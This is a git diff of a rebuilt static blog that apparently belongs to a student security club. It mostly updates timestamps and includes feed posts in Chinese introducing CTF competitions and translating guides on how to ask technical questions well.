+2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git a/archives/2017/05/index.html b/archives/2017/05/index.html index 2c29630..aa83d88 100644 --- a/archives/2017/05/index.html +++ b/archives/2017/05/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git a/archives/2017/08/index.html b/archives/2017/08/index.html index ccd961f..d324837 100644 --- a/archives/2017/08/index.html +++ b/archives/2017/08/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git a/archives/2017/10/index.html b/archives/2017/10/index.html index ce1dc5e..5d45663 100644 --- a/archives/2017/10/index.html +++ b/archives/2017/10/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git a/archives/2017/11/index.html b/archives/2017/11/index.html index 0f878ba..987ba0d 100644 --- a/archives/2017/11/index.html +++ b/archives/2017/11/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git a/archives/2017/index.html b/archives/2017/index.html index 9bd28cc..442cd60 100644 --- a/archives/2017/index.html +++ b/archives/2017/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git a/archives/2018/02/index.html b/archives/2018/02/index.html index 607ba48..5037ede 100644 --- a/archives/2018/02/index.html +++ b/archives/2018/02/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git a/archives/2018/04/index.html b/archives/2018/04/index.html index 03e007c..794f36c 100644 --- a/archives/2018/04/index.html +++ b/archives/2018/04/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git a/archives/2018/05/index.html b/archives/2018/05/index.html index fdfecb9..4359207 100644 --- a/archives/2018/05/index.html +++ b/archives/2018/05/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git a/archives/2018/06/index.html b/archives/2018/06/index.html index babb122..81a06f0 100644 --- a/archives/2018/06/index.html +++ b/archives/2018/06/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git a/archives/2018/11/index.html b/archives/2018/11/index.html index d97accc..43494d1 100644 --- a/archives/2018/11/index.html +++ b/archives/2018/11/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git a/archives/2018/12/index.html b/archives/2018/12/index.html index 29a6c74..3aad8e1 100644 --- a/archives/2018/12/index.html +++ b/archives/2018/12/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git a/archives/2018/index.html b/archives/2018/index.html index 76e2024..cc160d1 100644 --- a/archives/2018/index.html +++ b/archives/2018/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git a/archives/2023/09/index.html b/archives/2023/09/index.html index 756d65f..f0dfd00 100644 --- a/archives/2023/09/index.html +++ b/archives/2023/09/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git a/archives/2023/index.html b/archives/2023/index.html index f52127a..b1174f0 100644 --- a/archives/2023/index.html +++ b/archives/2023/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git a/archives/2024/01/index.html b/archives/2024/01/index.html index abd1d3c..235357a 100644 --- a/archives/2024/01/index.html +++ b/archives/2024/01/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', @@ -2748,7 +2748,7 @@
- + @@ -2766,7 +2766,7 @@

-

@@ -2787,12 +2787,12 @@

- +
diff --git a/archives/2024/index.html b/archives/2024/index.html index 0a17297..e35afab 100644 --- a/archives/2024/index.html +++ b/archives/2024/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', @@ -2748,7 +2748,7 @@
- + @@ -2766,7 +2766,7 @@

-

@@ -2787,12 +2787,12 @@

- +
diff --git a/archives/index.html b/archives/index.html index 760514b..b59bc7d 100644 --- a/archives/index.html +++ b/archives/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', @@ -2744,7 +2744,7 @@

2024

以下内容来自CTF-Wiki,欢迎fork CTF-Wiki仓库。简介 - CTF Wiki (ctf-wiki.org)

CTF(Capture The Flag,夺旗赛)起源于 1996 年 DEFCON 全球黑客大会,是网络安全爱好者之间的竞技游戏。

CTF 竞赛涉及众多领域,内容繁杂。与此同时,安全技术的发展速度越来越快,CTF 题目的难度越来越高,初学者面对的门槛越来越高。而网上资料大都零散琐碎,初学者往往并不知道该如何系统性地学习 CTF 相关领域知识,常需要花费大量时间,苦不堪言。

为了使得热爱 CTF 的小伙伴们更好地入门 CTF,2016 年 10 月份,CTF Wiki 在 Github 有了第一次 commit。随着内容不断完善,CTF Wiki 受到了越来越多安全爱好者的喜爱,也渐渐有素未谋面的小伙伴们参与进来。

作为一个自由的站点,围绕 CTF 近几年赛题,CTF WikiCTF 中的各个方向的知识和技术进行介绍,以便于初学者更好地学习 CTF 相关的知识。

目前,CTF Wiki 主要包含 CTF 各大范畴的基础知识,并正在着力完善以下内容

  • CTF 竞赛中的进阶知识
  • CTF 竞赛中的优质题目

关于上述部分待完善内容,请参见 CTF Wiki 的 Projects,详细列出了正在做的事项以及待做事项。

当然,CTF Wiki 基于 CTF,却不会局限于 CTF。在未来,CTF Wiki 将会

  • 介绍安全研究中的工具
  • 更多地与安全实战结合

此外,鉴于以下两点

  • 技术应该以开放的方式共享。
  • 安全攻防技术总是在不断演进,旧的技术在面对新的技术时可能失效。

CTF和ACM的区别

以下内容来自知乎,内容稍作修改

ACM相对于CTF,内容很单一,就算法与数据结构,知识面窄,但就是这很窄的知识面,大部分人直到退役都不能全部掌握,但是它门槛低,就算你大学之前毫无编程基础,大一开始刷天梯赛题集入门,保持刷牛客,cf,每场补题,到大三也能拿至少区域赛银了(目前国内xcpc水平不高,通常签到题顺畅就能银)但是要思考的是,这个银有多大意义?如果为了保研,ACM性价比绝对要比发论文低。毕竟在研究生面试的时候,导师们会更关注你的论文,而不是这种算法竞赛。如果为了工作,那么恭喜你,你所学的算法与数据结构是面试必考项目,你可以在这方面很突出,但同时很不幸,面试过后,你的项目能力可能不及其他人。项目里很少会用到算法竞赛里用的这些东西,反而可能会因为竞赛养成的某些坏习惯(变量命名,开空间)而被骂。最好要么把ACM当做锻炼自己思维以及编码能力的工具,要么就为了荣誉,在这里做出一番成绩,为了功利,性价比低。

CTF的话,不可能有一个人面面俱到,因为它的范围太广了,所以,这是一个看队友的比赛,这并不是说ACM不看队友,ACM是三人竞赛,但是通常做题是各做各的,实际上如果你一个人自己打,也不是不能,毕竟大部分知识是三人都会的。但是CTF不是,分工很明确,你web,他pwn,我reverse,我的领域你不懂,你的领域我发懵,所以,如果选择CTF,一定要确保你有可以坚持下去的队友,并且保证他能去专精他负责的方向,你能去专精你负责的方向,人人不当短板。其次,CTF更加考验团队合作能力,一道题可能综合多个方向的知识,有时候需要掌握不同知识的人通力合作才能做出。再然后,CTF很吃你的知识面,如果你知道的知识特别多(主要但不仅限于计算机知识),那么你就是适合CTF的。但假如你连linux都没用过,或者你不了解基本的计算机/网络组成原理,不会任意一门编程语言,并且没有引路人,那么你是不适合打CTF的。

作者:KrK1ng
链接:https://www.zhihu.com/question/352922470/answer/873436590
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

]]> @@ -45,7 +45,7 @@ https://www.xmutsec.cn/2023/09/13/babe3810-d68b-427b-a570-80e88595ff2b/ 2023-09-13T10:52:19.000Z - 2024-01-22T18:20:02.963Z + 2024-01-23T02:58:32.706Z 别像弱智一样提问

Stop-Ask-Questions-The-Stupid-Ways

你真的准备好了吗?

感谢群友 for you 提供

避免 xy-problem

XY Problem 表示

  1. 提问者想要解决 原问题 X ,且觉得解决了 引申问题 Y 就能解决 X 问题
  2. 提问者对外提出了解决 Y 的的请求
  3. 回答者帮助提问者解决 Y 问题。(浪费了回答者和提问者双方的时间)

然而, 最终 Y 问题可能并不是 X 问题的一个合适的解决方法

因此, 提问者要避免创造这样的修罗场, 需要学会在问题之初就准确描述自己的根本问题。 学会描述问题

提问前你必须需要知道的事情

  1. 要知道, Free 的正确翻译是 自由,而非 免费
  2. 要知道,愿意回答问题的人,都是 可爱 的人。
  3. 要知道,向帮助你的人 付费 是一个高尚的行为。即使回答你的人不是为了钱。
  4. 要知道,花钱买时间是一个常识。如果你不能认同,要么你钱包穷,要么你思想穷。
  5. 要知道,给对方发工资的不是你或者你老板。
  6. 要知道,提问的时候你才是 孙子,帮助你的人是 大爷
  7. 要知道,不回答你的问题对其他人没有任何损失。
  8. 要知道,准确描述一件事情是一项基本生存技能。要学会 《提问的智慧》
  9. 要知道,搜索是一项基本生存技能,学不会用 Google 的话,你可能真的不适合你所从事的行业。
  10. 要知道,英文是一项基本生存技能,不认识英文的话,你可能真的不适合你所从事的行业。

幼儿园的小朋友都知道要有礼貌

请问
…问题描述…
谢谢

学会描述问题

向别人提问的时候,要学会正确的描述问题。
把对方当成你的老板,你在给他做报告。要用最精炼的文字和图片,向对方阐述明白一个事情的来龙去脉。

要知道,你不是我追的妹子,我没有时间来猜你想要什么。

记住,给别人的条件越多,你的问题解决越快。因为这不是解密游戏。

  1. 请问一个关于 什么 的问题。
  2. 我想要达到 什么样 效果,但是我这样做出现了 什么样 的问题。
  3. 报错日志是 这样 的。(要 学会 画关键字)
  4. 我尝试过 什么 方法来解决。
  5. 我尝试搜索过了 什么 关键字,在里面找到了 这些 URL 的回答,尝试了还是没有解决问题。
  6. 我用的是 什么 操作系统,版本号是多少。
  7. 我用的是 什么 软件,版本号是多少。
  8. 谢谢

千万别认为只有别人帮助你之后才需要说 谢谢

学会什么时候贴图

像这种,IM 自动转义表情,贴出来的问题全是表情。

学会什么时候要圈出重点

千万不要认为别人的频率和你是同步的,然后像这样扔出一张图一个表情就了事了。

在工作中, 你@的人可能会多问一句什么情况。 但是在 IM 聊天群里面,就没有这么好运气了。

如下很难吗?

@xxx,我这边访问不了 git 仓库。
环境是: 环境是什么。

学会什么时候贴文字

什么是弱智一样的提问

萌新滚粗

什么鬼?咋回事?怎么办?救命啊!!
自己 google自己 google自己 google自己 google 了吗

转自GitHub: 别像弱智一样提问

]]> @@ -68,7 +68,7 @@ https://www.xmutsec.cn/2023/09/13/7a5251b8-19e1-4dc3-8673-b41b07ee1dda/ 2023-09-13T10:49:54.000Z - 2024-01-22T18:20:02.963Z + 2024-01-23T02:58:32.706Z 提问的智慧

How To Ask Questions The Smart Way

Copyright © 2001,2006,2014 Eric S. Raymond, Rick Moen

本指南英文版版权为 Eric S. Raymond, Rick Moen 所有。

原文网址:http://www.catb.org/~esr/faqs/smart-questions.html

Copyleft 2001 by D.H.Grand(nOBODY/Ginux), 2010 by Gasolin, 2015 by Ryan Wu

本中文指南是基于原文 3.10 版以及 2010 年由 Gasolin 所翻译版本的最新翻译;

协助指出翻译问题,发 issue,或直接发 pull request 给我。

本文另有繁體中文版

原文版本历史

目录

声明

许多项目在他们网站的帮助文档中链接了本指南。这很好,这正是我们想要的用途。但如果你是该项目管理员并试图创建指向本指南的超链接,请在超链接附近的显著位置注明:

本指南不提供此项目的实际支持服务!

我们已经深刻领教到缺少上述声明所带来的痛苦:我们将不停地被那些认为发布这本指南就意味着有责任解决世上所有技术问题的傻瓜苦苦纠缠。

如果你因寻求某些帮助而阅读本指南,并在离开时还觉得可以从本文作者这里得到直接帮助,那你就是我们之前说的那些傻瓜之一。别问我们问题,我们只会忽略你。我们在这本指南中想教你如何从那些真正懂得你所遇到的软件或硬件问题的人处取得协助,而 99% 的情况下那不会是我们。除非你确定本指南的作者之一刚好是你所遇到的问题领域的专家,否则请不要打扰我们,这样大家都会开心一点。

简介

黑客的世界里,当你拋出一个技术问题时,最终是否能得到有用的回答,往往取决于你所提问和追问的方式。本指南将教你如何正确地提问以获得你满意的答案。

现在开源(Open Source)软件已经相当盛行,您通常可以从其他更有经验的用户那里获得与黑客一样好的答案,这是件好事;和黑客相比,用户们往往对那些新手常遇到的问题更宽容一些。尽管如此,以我们在此推荐的方式对待这些有经验的用户通常也是从他们那里获得有用答案的最有效方式。

首先你应该明白,黑客们喜爱有挑战性的问题,或者能激发他们思维的好问题。如果我们并非如此,那我们也不会成为你想询问的对象。如果你给了我们一个值得反复咀嚼玩味的好问题,我们自会对你感激不尽。好问题是激励,是厚礼。好问题可以提高我们的理解力,而且通常会暴露我们以前从没意识到或者思考过的问题。对黑客而言,“好问题!”是诚挚的大力称赞。

尽管如此,黑客们有着蔑视或傲慢面对简单问题的坏名声,这有时让我们看起来对新手、无知者似乎较有敌意,但其实不是那样的。

我们不讳言我们对那些不愿思考、或者在发问前不做他们该做的事的人的蔑视。那些人是时间杀手 —— 他们只想索取,从不付出,消耗我们可用在更有趣的问题或更值得回答的人身上的时间。我们称这样的人为 失败者(撸瑟) (由于历史原因,我们有时把它拼作 lusers)。

我们意识到许多人只是想使用我们写的软件,他们对学习技术细节没有兴趣。对大多数人而言,电脑只是种工具,是种达到目的的手段而已。他们有自己的生活并且有更要紧的事要做。我们认可这点,也从不指望每个人都对这些让我们着迷的技术问题感兴趣。尽管如此,我们只为那些真正有兴趣并愿意积极参与问题解决的人调整回答问题的风格。这点不会变,也不该变:否则,我们就是在最擅长的事情上降低效率。

我们(在很大程度上)是自愿的,从繁忙的生活中抽出时间来解答疑惑,而且时常被提问淹没。所以我们无情地滤掉一些话题,特别是拋弃那些看起来像失败者的家伙,以便更高效地利用时间来回答赢家(winner)的问题。

如果你厌恶我们的态度,高高在上,或过于傲慢,不妨也设身处地想想。我们并没有要求你向我们屈服 —— 事实上,我们大多数人非常乐意与你平等地交流,只要你付出小小努力来满足基本要求,我们就会欢迎你加入我们的文化。但让我们帮助那些不愿意帮助自己的人是没有效率的。无知没有关系,但装白痴就是不行。

所以,你不必在技术上很在行才能吸引我们的注意,但你必须表现出能引导你变得在行的特质 —— 机敏、有想法、善于观察、乐于主动参与解决问题。如果你做不到这些使你与众不同的事情,我们建议你花点钱找家商业公司签个技术支持服务合同,而不是要求黑客个人无偿地帮助你。

如果你决定向我们求助,当然你也不希望被视为失败者,更不愿成为失败者中的一员。能立刻得到快速并有效答案的最好方法,就是像赢家那样提问 —— 聪明、自信、有解决问题的思路,只是偶尔在特定的问题上需要获得一点帮助。

(欢迎对本指南提出改进意见。你可以把你的建议发送至 esr@thyrsus.comrespond-auto@linuxmafia.com。然而请注意,本文并非网络礼节的通用指南,而我们通常会拒绝无助于在技术论坛得到有用答案的建议)。

在提问之前

在你准备要通过电子邮件、新闻群组或者聊天室提出技术问题前,请先做到以下事情:

  1. 尝试在你准备提问的论坛的旧文章中搜索答案。
  2. 尝试上网搜索以找到答案。
  3. 尝试阅读手册以找到答案。
  4. 尝试阅读常见问题文件(FAQ)以找到答案。
  5. 尝试自己检查或试验以找到答案。
  6. 向你身边的强者朋友打听以找到答案。
  7. 如果你是程序开发者,请尝试阅读源代码以找到答案。

当你提出问题的时候,请先表明你已经做了上述的努力;这将有助于树立你并不是一个不劳而获且浪费别人的时间的提问者。如果你能一并表达在做了上述努力的过程中所学到的东西会更好,因为我们更乐于回答那些表现出能从答案中学习的人的问题。

运用某些策略,比如先用 Google 搜索你所遇到的各种错误信息(搜索 Google 论坛和网页),这样很可能直接就找到了能解决问题的文件或邮件列表线索。即使没有结果,在邮件列表或新闻组寻求帮助时加上一句 我在 Google 中搜过下列句子但没有找到什么有用的东西 也是件好事,即使它只是表明了搜索引擎不能提供哪些帮助。这么做(加上搜索过的字串)也让遇到相似问题的其他人能被搜索引擎引导到你的提问来。

别着急,不要指望几秒钟的 Google 搜索就能解决一个复杂的问题。在向专家求助之前,再阅读一下常见问题文件(FAQ)、放轻松、坐得舒服一些,再花点时间思考一下这个问题。相信我们,他们能从你的提问看出你做了多少阅读与思考,如果你是有备而来,将更有可能得到解答。不要将所有问题一股脑拋出,只因你的第一次搜索没有找到答案(或者找到太多答案)。

准备好你的问题,再将问题仔细地思考过一遍,因为草率的发问只能得到草率的回答,或者根本得不到任何答案。越是能表现出在寻求帮助前你为解决问题所付出的努力,你越有可能得到实质性的帮助。

小心别问错了问题。如果你的问题基于错误的假设,某个普通黑客(J. Random Hacker)多半会一边在心里想着蠢问题…,一边用无意义的字面解释来答复你,希望着你会从问题的回答(而非你想得到的答案)中汲取教训。

绝不要自以为够格得到答案,你没有;你并没有。毕竟你没有为这种服务支付任何报酬。你将会是自己去挣到一个答案,靠提出有内涵的、有趣的、有思维激励作用的问题 —— 一个有潜力能贡献社区经验的问题,而不仅仅是被动地从他人处索取知识。

另一方面,表明你愿意在找答案的过程中做点什么是一个非常好的开端。谁能给点提示?我的这个例子里缺了什么?以及我应该检查什么地方请把我需要的确切的过程贴出来更容易得到答复。因为你表现出只要有人能指个正确方向,你就有完成它的能力和决心。

当你提问时

慎选提问的论坛

小心选择你要提问的场合。如果你做了下述的事情,你很可能被忽略掉或者被看作失败者:
